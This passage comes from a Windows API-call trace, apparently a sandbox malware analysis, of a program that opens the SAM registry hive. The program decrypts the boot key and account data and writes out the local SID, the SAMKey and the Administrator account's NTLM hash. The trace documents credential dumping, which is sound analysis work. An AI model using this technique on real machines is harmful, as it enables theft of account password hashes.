lpUsedDefaultChar=0x0 | out: lpMultiByteStr="64", lpUsedDefaultChar=0x0) returned 2 [0197.033] WriteFile (in: hFile=0x720, lpBuffer=0x10eb30*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e470, lpOverlapped=0x0 | out: lpBuffer=0x10eb30*, lpNumberOfBytesWritten=0x10e470*=0x2, lpOverlapped=0x0) returned 1 [0197.033] GetLastError () returned 0x0 [0197.033] SetLastError (dwErrCode=0x0) [0197.034] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="04", cchWideChar=2, lpMultiByteStr=0x10eb30, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="04", lpUsedDefaultChar=0x0) returned 2 [0197.034] WriteFile (in: hFile=0x720, lpBuffer=0x10eb30*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e470, lpOverlapped=0x0 | out: lpBuffer=0x10eb30*, lpNumberOfBytesWritten=0x10e470*=0x2, lpOverlapped=0x0) returned 1 [0197.034] GetLastError () returned 0x0 [0197.034] SetLastError (dwErrCode=0x0) [0197.034] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="d0", cchWideChar=2, lpMultiByteStr=0x10eb30, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="d0", lpUsedDefaultChar=0x0) returned 2 [0197.034] WriteFile (in: hFile=0x720, lpBuffer=0x10eb30*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e470, lpOverlapped=0x0 | out: lpBuffer=0x10eb30*, lpNumberOfBytesWritten=0x10e470*=0x2, lpOverlapped=0x0) returned 1 [0197.034] GetLastError () returned 0x0 [0197.034] SetLastError (dwErrCode=0x0) [0197.034] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="b1", cchWideChar=2, lpMultiByteStr=0x10eb30, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b1", lpUsedDefaultChar=0x0) returned 2 [0197.034] WriteFile (in: hFile=0x720, lpBuffer=0x10eb30*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e470, lpOverlapped=0x0 | out: lpBuffer=0x10eb30*, lpNumberOfBytesWritten=0x10e470*=0x2, lpOverlapped=0x0) returned 1 [0197.034] GetLastError () returned 0x0 [0197.034] SetLastError (dwErrCode=0x0) [0197.034] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="9e", cchWideChar=2, lpMultiByteStr=0x10eb30, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9e", lpUsedDefaultChar=0x0) returned 2 [0197.034] WriteFile (in: hFile=0x720, lpBuffer=0x10eb30*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e470, lpOverlapped=0x0 | out: lpBuffer=0x10eb30*, lpNumberOfBytesWritten=0x10e470*=0x2, lpOverlapped=0x0) returned 1 [0197.035] GetLastError () returned 0x0 [0197.035] SetLastError (dwErrCode=0x0) [0197.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nsKey : \r\n", cchWideChar=2, lpMultiByteStr=0x10eb70, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nsKey : \r\nÿþ\x07", lpUsedDefaultChar=0x0) returned 2 [0197.035] WriteFile (in: hFile=0x720, lpBuffer=0x10eb70*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e4b0, lpOverlapped=0x0 | out: lpBuffer=0x10eb70*, lpNumberOfBytesWritten=0x10e4b0*=0x2, lpOverlapped=0x0) returned 1 [0197.035] RegCloseKey (hKey=0x238) returned 0x0 [0197.035] RegCloseKey (hKey=0x234) returned 0x0 [0197.035] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SAM", ulOptions=0x0, samDesired=0x20019, phkResult=0x10fc00 | out: phkResult=0x10fc00*=0x234) returned 0x0 [0197.035] RegOpenKeyExW (in: hKey=0x234, lpSubKey="SAM\\Domains\\Account", ulOptions=0x0, samDesired=0x20019, phkResult=0x10faa0 | out: phkResult=0x10faa0*=0x238) returned 0x0 [0197.035] RegQueryValueExW (in: hKey=0x238, lpValueName="V", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x10fa10*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x10fa10*=0x110) returned 0x0 [0197.035] LocalAlloc (uFlags=0x40, uBytes=0x110) returned 0x1821e0 [0197.035] RegQueryValueExW (in: hKey=0x238, lpValueName="V", lpReserved=0x0, lpType=0x0, lpData=0x1821e0, lpcbData=0x10fa10*=0x110 | out: lpType=0x0, lpData=0x1821e0*=0x0, lpcbData=0x10fa10*=0x110) returned 0x0 [0197.035] RegCloseKey (hKey=0x238) returned 0x0 [0197.035] GetLastError () returned 0x0 [0197.036] SetLastError (dwErrCode=0x0) [0197.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Local SID : ", cchWideChar=12, lpMultiByteStr=0x10eaf0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Local SID : ", lpUsedDefaultChar=0x0) returned 12 [0197.036] WriteFile (in: hFile=0x720, lpBuffer=0x10eaf0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x10e430, lpOverlapped=0x0 | out: lpBuffer=0x10eaf0*, lpNumberOfBytesWritten=0x10e430*=0xc, lpOverlapped=0x0) returned 1 [0197.036] ConvertSidToStringSidW () returned 0x1 [0197.036] GetLastError () returned 0x0 [0197.036] SetLastError (dwErrCode=0x0) [0197.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564\x10", cchWideChar=41, lpMultiByteStr=0x10eac0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-21-3388679973-3930757225-3770151564±¸ÿþ\x07", lpUsedDefaultChar=0x0) returned 41 [0197.036] WriteFile (in: hFile=0x720, lpBuffer=0x10eac0*, nNumberOfBytesToWrite=0x29, lpNumberOfBytesWritten=0x10e400, lpOverlapped=0x0 | out: lpBuffer=0x10eac0*, lpNumberOfBytesWritten=0x10e400*=0x29, lpOverlapped=0x0) returned 1 [0197.036] LocalFree (hMem=0x182c40) returned 0x0 [0197.036] GetLastError () returned 0x0 [0197.036] SetLastError (dwErrCode=0x0) [0197.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\n7225-3770151564\x10", cchWideChar=2, lpMultiByteStr=0x10eaf0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\ncal SID : ", lpUsedDefaultChar=0x0) returned 2 [0197.036] WriteFile (in: hFile=0x720, lpBuffer=0x10eaf0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e430, lpOverlapped=0x0 | out: lpBuffer=0x10eaf0*, lpNumberOfBytesWritten=0x10e430*=0x2, lpOverlapped=0x0) returned 1 [0197.037] LocalFree (hMem=0x1821e0) returned 0x0 [0197.037] RegOpenKeyExW (in: hKey=0x234, lpSubKey="SAM\\Domains\\Account", ulOptions=0x0, samDesired=0x20019, phkResult=0x10fb08 | out: phkResult=0x10fb08*=0x238) returned 0x0 [0197.037] GetLastError () returned 0x0 [0197.037] SetLastError (dwErrCode=0x0) [0197.037] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nSAMKey : ", cchWideChar=11, lpMultiByteStr=0x10e9e0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nSAMKey : ", lpUsedDefaultChar=0x0) returned 11 [0197.037] WriteFile (in: hFile=0x720, lpBuffer=0x10e9e0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x10e320, lpOverlapped=0x0 | out: lpBuffer=0x10e9e0*, lpNumberOfBytesWritten=0x10e320*=0xb, lpOverlapped=0x0) returned 1 [0197.037] RegOpenKeyExW (in: hKey=0x238, lpSubKey=0x0, ulOptions=0x0, samDesired=0x20019, phkResult=0x10f990 | out: phkResult=0x10f990*=0x230) returned 0x0 [0197.037] RegQueryValueExW (in: hKey=0x230, lpValueName="F", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x10f900*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x10f900*=0xf0) returned 0x0 [0197.037] LocalAlloc (uFlags=0x40, uBytes=0xf0) returned 0x16c680 [0197.037] RegQueryValueExW (in: hKey=0x230, lpValueName="F", lpReserved=0x0, lpType=0x0, lpData=0x16c680, lpcbData=0x10f900*=0xf0 | out: lpType=0x0, lpData=0x16c680*=0x2, lpcbData=0x10f900*=0xf0) returned 0x0 [0197.037] RegCloseKey (hKey=0x230) returned 0x0 [0197.038] MD5Init () returned 0x0 [0197.038] MD5Update () returned 0x10f9f8 [0197.038] MD5Update () returned 0x10fa08 [0197.038] MD5Update () returned 0x10f9f8 [0197.038] MD5Update () returned 0x10fa07 [0197.038] MD5Final () returned 0x0 [0197.038] SystemFunction032 () returned 0x0 [0197.038] LocalFree (hMem=0x16c680) returned 0x0 [0197.038] GetLastError () returned 0x0 [0197.038] SetLastError (dwErrCode=0x0) [0197.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="29", cchWideChar=2, lpMultiByteStr=0x10e9a0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="29-5-21-3388679973-3930757225-3770151564-1000", lpUsedDefaultChar=0x0) returned 2 [0197.038] WriteFile (in: hFile=0x720, lpBuffer=0x10e9a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2e0, lpOverlapped=0x0 | out: lpBuffer=0x10e9a0*, lpNumberOfBytesWritten=0x10e2e0*=0x2, lpOverlapped=0x0) returned 1 [0197.038] GetLastError () returned 0x0 [0197.038] SetLastError (dwErrCode=0x0) [0197.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="0d", cchWideChar=2, lpMultiByteStr=0x10e9a0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0d-5-21-3388679973-3930757225-3770151564-1000", lpUsedDefaultChar=0x0) returned 2 [0197.038] WriteFile (in: hFile=0x720, lpBuffer=0x10e9a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2e0, lpOverlapped=0x0 | out: lpBuffer=0x10e9a0*, lpNumberOfBytesWritten=0x10e2e0*=0x2, lpOverlapped=0x0) returned 1 [0197.039] GetLastError () returned 0x0 [0197.039] SetLastError (dwErrCode=0x0) [0197.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="26", cchWideChar=2, lpMultiByteStr=0x10e9a0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="26-5-21-3388679973-3930757225-3770151564-1000", lpUsedDefaultChar=0x0) returned 2 [0197.039] WriteFile (in: hFile=0x720, lpBuffer=0x10e9a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2e0, lpOverlapped=0x0 | out: lpBuffer=0x10e9a0*, lpNumberOfBytesWritten=0x10e2e0*=0x2, lpOverlapped=0x0) returned 1 [0197.039] GetLastError () returned 0x0 [0197.039] SetLastError (dwErrCode=0x0) [0197.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="33", cchWideChar=2, lpMultiByteStr=0x10e9a0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="33-5-21-3388679973-3930757225-3770151564-1000", lpUsedDefaultChar=0x0) returned 2 [0197.039] WriteFile (in: hFile=0x720, lpBuffer=0x10e9a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2e0, lpOverlapped=0x0 | out: lpBuffer=0x10e9a0*, lpNumberOfBytesWritten=0x10e2e0*=0x2, lpOverlapped=0x0) returned 1 [0197.039] GetLastError () returned 0x0 [0197.039] SetLastError (dwErrCode=0x0) [0197.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="88", cchWideChar=2, lpMultiByteStr=0x10e9a0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="88-5-21-3388679973-3930757225-3770151564-1000", lpUsedDefaultChar=0x0) returned 2 [0197.039] WriteFile (in: hFile=0x720, lpBuffer=0x10e9a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2e0, lpOverlapped=0x0 | out: lpBuffer=0x10e9a0*, lpNumberOfBytesWritten=0x10e2e0*=0x2, lpOverlapped=0x0) returned 1 [0197.040] GetLastError () returned 0x0 [0197.040] SetLastError (dwErrCode=0x0) [0197.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="11", cchWideChar=2, lpMultiByteStr=0x10e9a0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="11-5-21-3388679973-3930757225-3770151564-1000", lpUsedDefaultChar=0x0) returned 2 [0197.040] WriteFile (in: hFile=0x720, lpBuffer=0x10e9a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2e0, lpOverlapped=0x0 | out: lpBuffer=0x10e9a0*, lpNumberOfBytesWritten=0x10e2e0*=0x2, lpOverlapped=0x0) returned 1 [0197.040] GetLastError () returned 0x0 [0197.040] SetLastError (dwErrCode=0x0) [0197.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="65", cchWideChar=2, lpMultiByteStr=0x10e9a0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="65-5-21-3388679973-3930757225-3770151564-1000", lpUsedDefaultChar=0x0) returned 2 [0197.040] WriteFile (in: hFile=0x720, lpBuffer=0x10e9a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2e0, lpOverlapped=0x0 | out: lpBuffer=0x10e9a0*, lpNumberOfBytesWritten=0x10e2e0*=0x2, lpOverlapped=0x0) returned 1 [0197.040] GetLastError () returned 0x0 [0197.040] SetLastError (dwErrCode=0x0) [0197.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7e", cchWideChar=2, lpMultiByteStr=0x10e9a0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7e-5-21-3388679973-3930757225-3770151564-1000", lpUsedDefaultChar=0x0) returned 2 [0197.040] WriteFile (in: hFile=0x720, lpBuffer=0x10e9a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2e0, lpOverlapped=0x0 | out: lpBuffer=0x10e9a0*, lpNumberOfBytesWritten=0x10e2e0*=0x2, lpOverlapped=0x0) returned 1 [0197.041] GetLastError () returned 0x0 [0197.041] SetLastError (dwErrCode=0x0) [0197.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2d", cchWideChar=2, lpMultiByteStr=0x10e9a0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2d-5-21-3388679973-3930757225-3770151564-1000", lpUsedDefaultChar=0x0) returned 2 [0197.041] WriteFile (in: hFile=0x720, lpBuffer=0x10e9a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2e0, lpOverlapped=0x0 | out: lpBuffer=0x10e9a0*, lpNumberOfBytesWritten=0x10e2e0*=0x2, lpOverlapped=0x0) returned 1 [0197.041] GetLastError () returned 0x0 [0197.041] SetLastError (dwErrCode=0x0) [0197.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8f", cchWideChar=2, lpMultiByteStr=0x10e9a0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8f-5-21-3388679973-3930757225-3770151564-1000", lpUsedDefaultChar=0x0) returned 2 [0197.041] WriteFile (in: hFile=0x720, lpBuffer=0x10e9a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2e0, lpOverlapped=0x0 | out: lpBuffer=0x10e9a0*, lpNumberOfBytesWritten=0x10e2e0*=0x2, lpOverlapped=0x0) returned 1 [0197.041] GetLastError () returned 0x0 [0197.041] SetLastError (dwErrCode=0x0) [0197.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="6d", cchWideChar=2, lpMultiByteStr=0x10e9a0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6d-5-21-3388679973-3930757225-3770151564-1000", lpUsedDefaultChar=0x0) returned 2 [0197.041] WriteFile (in: hFile=0x720, lpBuffer=0x10e9a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2e0, lpOverlapped=0x0 | out: lpBuffer=0x10e9a0*, lpNumberOfBytesWritten=0x10e2e0*=0x2, lpOverlapped=0x0) returned 1 [0197.041] GetLastError () returned 0x0 [0197.041] SetLastError (dwErrCode=0x0) [0197.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8f", cchWideChar=2, lpMultiByteStr=0x10e9a0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8f-5-21-3388679973-3930757225-3770151564-1000", lpUsedDefaultChar=0x0) returned 2 [0197.042] WriteFile (in: hFile=0x720, lpBuffer=0x10e9a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2e0, lpOverlapped=0x0 | out: lpBuffer=0x10e9a0*, lpNumberOfBytesWritten=0x10e2e0*=0x2, lpOverlapped=0x0) returned 1 [0197.042] GetLastError () returned 0x0 [0197.042] SetLastError (dwErrCode=0x0) [0197.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3e", cchWideChar=2, lpMultiByteStr=0x10e9a0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3e-5-21-3388679973-3930757225-3770151564-1000", lpUsedDefaultChar=0x0) returned 2 [0197.042] WriteFile (in: hFile=0x720, lpBuffer=0x10e9a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2e0, lpOverlapped=0x0 | out: lpBuffer=0x10e9a0*, lpNumberOfBytesWritten=0x10e2e0*=0x2, lpOverlapped=0x0) returned 1 [0197.042] GetLastError () returned 0x0 [0197.042] SetLastError (dwErrCode=0x0) [0197.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3e", cchWideChar=2, lpMultiByteStr=0x10e9a0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3e-5-21-3388679973-3930757225-3770151564-1000", lpUsedDefaultChar=0x0) returned 2 [0197.042] WriteFile (in: hFile=0x720, lpBuffer=0x10e9a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2e0, lpOverlapped=0x0 | out: lpBuffer=0x10e9a0*, lpNumberOfBytesWritten=0x10e2e0*=0x2, lpOverlapped=0x0) returned 1 [0197.042] GetLastError () returned 0x0 [0197.042] SetLastError (dwErrCode=0x0) [0197.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="c9", cchWideChar=2, lpMultiByteStr=0x10e9a0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="c9-5-21-3388679973-3930757225-3770151564-1000", lpUsedDefaultChar=0x0) returned 2 [0197.043] WriteFile (in: hFile=0x720, lpBuffer=0x10e9a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2e0, lpOverlapped=0x0 | out: lpBuffer=0x10e9a0*, lpNumberOfBytesWritten=0x10e2e0*=0x2, lpOverlapped=0x0) returned 1 [0197.043] GetLastError () returned 0x0 [0197.043] SetLastError (dwErrCode=0x0) [0197.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="91", cchWideChar=2, lpMultiByteStr=0x10e9a0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="91-5-21-3388679973-3930757225-3770151564-1000", lpUsedDefaultChar=0x0) returned 2 [0197.043] WriteFile (in: hFile=0x720, lpBuffer=0x10e9a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2e0, lpOverlapped=0x0 | out: lpBuffer=0x10e9a0*, lpNumberOfBytesWritten=0x10e2e0*=0x2, lpOverlapped=0x0) returned 1 [0197.043] GetLastError () returned 0x0 [0197.043] SetLastError (dwErrCode=0x0) [0197.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nSAMKey : ", cchWideChar=2, lpMultiByteStr=0x10e9e0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nSAMKey : ", lpUsedDefaultChar=0x0) returned 2 [0197.043] WriteFile (in: hFile=0x720, lpBuffer=0x10e9e0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e320, lpOverlapped=0x0 | out: lpBuffer=0x10e9e0*, lpNumberOfBytesWritten=0x10e320*=0x2, lpOverlapped=0x0) returned 1 [0197.043] RegOpenKeyExW (in: hKey=0x238, lpSubKey="Users", ulOptions=0x0, samDesired=0x20019, phkResult=0x10fb00 | out: phkResult=0x10fb00*=0x230) returned 0x0 [0197.043] RegQueryInfoKeyW (in: hKey=0x230, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x10faf8, lpcbMaxSubKeyLen=0x10faf0, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x10faf8*=0x4, lpcbMaxSubKeyLen=0x10faf0, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0197.043] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x16c100 [0197.043] RegEnumKeyExW (in: hKey=0x230, dwIndex=0x0, lpName=0x16c100, lpcchName=0x10faf4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="000001F4", lpcchName=0x10faf4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0197.044] GetLastError () returned 0x0 [0197.044] SetLastError (dwErrCode=0x0) [0197.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nRID : 000001f4 (500)\r\n", cchWideChar=25, lpMultiByteStr=0x10eaf0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nRID : 000001f4 (500)\r\nâªw", lpUsedDefaultChar=0x0) returned 25 [0197.044] WriteFile (in: hFile=0x720, lpBuffer=0x10eaf0*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x10e430, lpOverlapped=0x0 | out: lpBuffer=0x10eaf0*, lpNumberOfBytesWritten=0x10e430*=0x19, lpOverlapped=0x0) returned 1 [0197.044] RegOpenKeyExW (in: hKey=0x230, lpSubKey="000001F4", ulOptions=0x0, samDesired=0x20019, phkResult=0x10faa0 | out: phkResult=0x10faa0*=0x22c) returned 0x0 [0197.044] RegQueryValueExW (in: hKey=0x22c, lpValueName="V", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x10fa10*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x10fa10*=0x250) returned 0x0 [0197.044] LocalAlloc (uFlags=0x40, uBytes=0x250) returned 0x1821e0 [0197.044] RegQueryValueExW (in: hKey=0x22c, lpValueName="V", lpReserved=0x0, lpType=0x0, lpData=0x1821e0, lpcbData=0x10fa10*=0x250 | out: lpType=0x0, lpData=0x1821e0*=0x0, lpcbData=0x10fa10*=0x250) returned 0x0 [0197.044] RegCloseKey (hKey=0x22c) returned 0x0 [0197.044] GetLastError () returned 0x0 [0197.044] SetLastError (dwErrCode=0x0) [0197.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="User : Administrator\r\n)\r\n", cchWideChar=22, lpMultiByteStr=0x10eaf0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="User : Administrator\r\n)\r\nâªw", lpUsedDefaultChar=0x0) returned 22 [0197.044] WriteFile (in: hFile=0x720, lpBuffer=0x10eaf0*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x10e430, lpOverlapped=0x0 | out: lpBuffer=0x10eaf0*, lpNumberOfBytesWritten=0x10e430*=0x16, lpOverlapped=0x0) returned 1 [0197.044] MD5Init () returned 0x0 [0197.044] MD5Update () returned 0x10f9f8 [0197.045] MD5Update () returned 0x10fa08 [0197.045] MD5Update () returned 0x10fa0c [0197.045] MD5Final () returned 0x0 [0197.045] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x16c0e0 [0197.045] SystemFunction032 () returned 0x0 [0197.045] SystemFunction025 () returned 0x0 [0197.045] GetLastError () returned 0x0 [0197.045] SetLastError (dwErrCode=0x0) [0197.045] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr=" Hash NTLM: ", cchWideChar=13, lpMultiByteStr=0x10e990, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Hash NTLM: z\x09S91-5-21-3388679973-3930757225-3770151564-1000", lpUsedDefaultChar=0x0) returned 13 [0197.045] WriteFile (in: hFile=0x720, lpBuffer=0x10e990*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x10e2d0, lpOverlapped=0x0 | out: lpBuffer=0x10e990*, lpNumberOfBytesWritten=0x10e2d0*=0xd, lpOverlapped=0x0) returned 1 [0197.045] GetLastError () returned 0x0 [0197.046] SetLastError (dwErrCode=0x0) [0197.046] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="31", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="31", lpUsedDefaultChar=0x0) returned 2 [0197.046] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.046] GetLastError () returned 0x0 [0197.046] SetLastError (dwErrCode=0x0) [0197.046] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="d6", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="d6", lpUsedDefaultChar=0x0) returned 2 [0197.046] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.046] GetLastError () returned 0x0 [0197.046] SetLastError (dwErrCode=0x0) [0197.046] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cf", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cf", lpUsedDefaultChar=0x0) returned 2 [0197.046] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.046] GetLastError () returned 0x0 [0197.046] SetLastError (dwErrCode=0x0) [0197.047] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="e0", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e0", lpUsedDefaultChar=0x0) returned 2 [0197.047] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.047] GetLastError () returned 0x0 [0197.047] SetLastError (dwErrCode=0x0) [0197.047] WideCharToMultiByte (in: 